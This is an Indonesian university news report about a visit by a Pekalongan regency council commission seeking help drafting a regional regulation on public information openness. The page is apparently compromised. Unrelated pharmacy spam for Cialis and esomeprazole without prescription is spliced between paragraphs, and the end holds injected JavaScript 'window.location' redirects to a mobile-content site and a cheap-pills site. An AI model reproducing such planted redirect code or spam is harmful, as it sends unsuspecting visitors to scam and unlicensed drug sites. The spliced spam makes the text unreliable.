Kamis, 19 Maret 2015, Pusat Pengkajian Kebijakan Daerah dan Kelembagaan (PPKDK) Lembaga Penelitian dan Pengabdian kepada Masyarakat (LPPM) Universitas Sebelas Maret menerima kunjungan dari Komisi B DPRD Kabupaten Pekalongan. Bertempat di Ruang Press Conference LPPM Universitas Sebelas Maret, acara kunjungan diikuti hampir 20 orang yang terdiri dari anggota Komisi B DPRD Kab. Pekalongan dan juga Peergroup PPKDK LPPM UNS.
thanks x book a table generic Cialis online the time slot for on is already booked you can select any of these available timing
Saiful selaku ketua Komisi B menjelaskan bahwa tujuan berkunjung ke PPKDK LPPM UNS, untuk meminta pencerahan mengenai pengaturan keterbukaan informasi publik, dimana DPRD Kab. Pekalongan pada tahun ini akan melakukan menyusun Raperda tentang Keterbukaan Informasi Publik. Komisi B selaku pengusul raperda memerlukan pendampingan dalam penyusunan naskah akademik raperda tersebut.
Dalam pertemuan tersebut, Tuhana selaku Ketua Litbang dan Kerjasama PPKDK LPPM UNS, menyampaikan PPKDK LPPM UNS siap menjalin dan melakukan kerjasama antar lembaga dalam rangka mengimplemantasikan tri dharma perguruan tinggi, utamanya kerjasama pendampingan penyusunan naskah akademik dimana kegiatan tersebut merupakan salah satu fokus kegiatan kerjasama PPKDK LPPM UNS dengan berbagai instansi di pemerintah daerah maupun DPRD.
order esomeprazole price in us get esomeprazole generic usa buy esomeprazole usa pharmacy stoke-on-trent online pharmacy esomeprazole no prescription.
Selanjutnya Tuhana berpendapat Perda tentang Keterbukaan Informasi Publik perlu dimiliki daerah untuk pengimplementasian Undang-undang Nomor 14 Tahun 2008 tentang Keterbukaan Informasi Publik, prinsip dalam penyelenggaraan keterbukaan informasi publik yaitu pertama Setiap Orang Berhak Memperoleh Informasi, kedua Penyelenggaraan Pemerintahan perlu diketahui oleh masyarakat, karena penyelenggaraan pemerintahan memang untuk kepentingan masyarakat, ketiga Dalam era transparansi, badan publik wajib menyediakan informasi tertentu, secara cepat dan tepat. Selain itu, Informasi yang tidak boleh dibuka pada prinsipnya juga untuk melindungi kepentingan publik, bersifat ketat dan terbatas.
</p>
written essays window.location = “http://www.mobilecontentstore.mobi/?sl=319481-c261c&data1=Track1&data2=Track2”; window.location = “http://cheap-pills-norx.com/search.htm?route=search&q=”;